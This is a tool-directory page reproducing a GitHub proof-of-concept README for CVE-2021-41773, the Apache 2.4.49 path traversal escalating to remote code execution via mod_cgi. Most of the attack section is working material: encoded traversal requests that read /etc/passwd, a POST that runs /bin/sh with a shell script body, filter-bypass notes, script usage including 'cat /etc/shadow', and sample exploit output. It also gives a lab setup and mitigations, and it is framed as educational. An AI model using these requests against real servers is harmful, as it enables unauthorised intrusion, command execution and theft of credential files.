Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-41773 — Prueba de concepto de CVE-2021-41773 | Kitploit
Tools/GitHubGitHub/joapath/cve-2021-41773
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubjoapath/cve-2021-41773

CVE-2021-41773

Prueba de concepto de CVE-2021-41773

View Repository
42 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-41773 — PoC: Path Traversal + RCE via mod_cgi

For use only in controlled and own environments. Do not use against systems without authorization.


Description

PoC developed to demonstrate and understand the vulnerability CVE-2021-41773, present in Apache HTTP Server 2.4.49.

The flaw resides in the ap_normalize_path() function, which did not properly validate URL-encoded characters. This allowed an attacker to escape the DocumentRoot using a sequence of encoded characters (%2e%2e%2f instead of ../), reading arbitrary files from the system.

When the mod_cgi module was enabled, the vulnerability escalated to RCE (Remote Code Execution), allowing commands to be executed directly on the server with the permissions of the Apache process.


Conditions necessary for exploitation

The server must meet all these conditions to be vulnerable:

Download Tool
ConditionDetail
Apache versionExactly 2.4.49
Access directiveRequire all granted in the configuration
CGI modulemod_cgi enabled (only for RCE)

How the attack works

Phase 1 — Path Traversal

Apache 2.4.49 filtered the classic ../ but not its URL-encoded version. The attacker constructs a path that the filter does not detect, but that the operating system interprets correctly:

root@kitploit:~
GET /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd

%2e%2e%2f is the URL encoding of ../. Apache let it through, the OS resolved it, and the result was access to files outside the web directory.

Phase 2 — RCE via mod_cgi

With mod_cgi active, the path traversal is used to point to /bin/sh instead of a file. Apache treats it as a CGI script and executes it. The command travels in the POST body as a minimal shell script:

root@kitploit:~
POST /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fbin/sh

#!/bin/sh
echo 'Content-Type: text/plain'
echo
id 2>&1

The command output arrives in the HTTP response.


Test environment

The cleanest way to reproduce the vulnerability is with Docker:

root@kitploit:~
docker run -d -p 8080:80 --name apache-vuln ghcr.io/blasty/CVE-2021-41773

Or with a manual Apache 2.4.49 image with the vulnerable configuration:

root@kitploit:~
<Directory />
    Require all granted
</Directory>

I will leave the configuration files that I used for the test.

Technical decisions for the exploit

  • Why 'urllib3' and not 'requests'?

    requests automatically re-encodes the path characters before sending them. That breaks the payload because the server receives %252e instead of %2e. urllib3 allows sending the path without modifications.

  • Why .%2e/ and not %2e%2e/?
    Apache filters %2e%2e/ in the mod_rewrite module. The .%2e/ variant is semantically equivalent but passes the filter, because path normalization occurs after validation.


Limitations

  • The mod_cgi module must be enabled for the RCE mode to work. Without it, only path traversal is possible.
  • The exploit does not work if Apache is behind a WAF that filters double encoding in the path.
  • Tested only against Apache 2.4.49 on Linux. Version 2.4.50 requires an additional bypass (see CVE-2021-42013).

Script usage

root@kitploit:~
python PoC_2021-41773.py --target <URL> --mode <traversal|rce> [--cmd <command>]

Arguments

ArgumentRequiredDescription
--targetYesServer base URL (e.g., http://localhost:8080)
--modeYestraversal to read files, rce to execute commands
--cmdNoCommand to execute in rce mode (default: id)

Examples

Read /etc/passwd from the server

python PoC_2021-41773.py --target http://localhost:8080 --mode traversal

Execute the 'id' command

python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd id

Execute a command with spaces

python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"

Expected output — traversal mode

root@kitploit:~
=======================================================
  CVE-2021-41773 — Apache 2.4.49 Path Traversal + RCE
  PoC con fines educativos — Solo en entornos propios
=======================================================

[+] Modo: Path traversal
[+] Objetivo: http://localhost:8080
[+] URL Construida: http://localhost:8080/cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
[+] Enviando request...

Servidor Vulnerable, Status code: 200
=== Contenido de /etc/passwd:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Expected output — rce mode

root@kitploit:~
[+] Modo: RCE via mod_cgi
[+] Objetivo: http://localhost:8080
[+] Comando: id
[+] Enviando request...

[+] RCE confirmados

uid=1(daemon) gid=1(daemon) groups=1(daemon)

Mitigation

  • Update Apache to version 2.4.51 or higher.
  • Set Require all denied as the default value.
  • Disable mod_cgi if not strictly necessary.

References

  • Rapid7 — CVE-2021-41773 Exploited in the Wild
  • Qualys — Path Traversal & RCE Analysis
  • NVD — CVE-2021-41773

⚠️ This repository is for educational purposes only.
The use of this exploit against systems without express authorization is illegal.
Tested exclusively in controlled local environments.

PoC developed for educational purposes for an offensive security portfolio.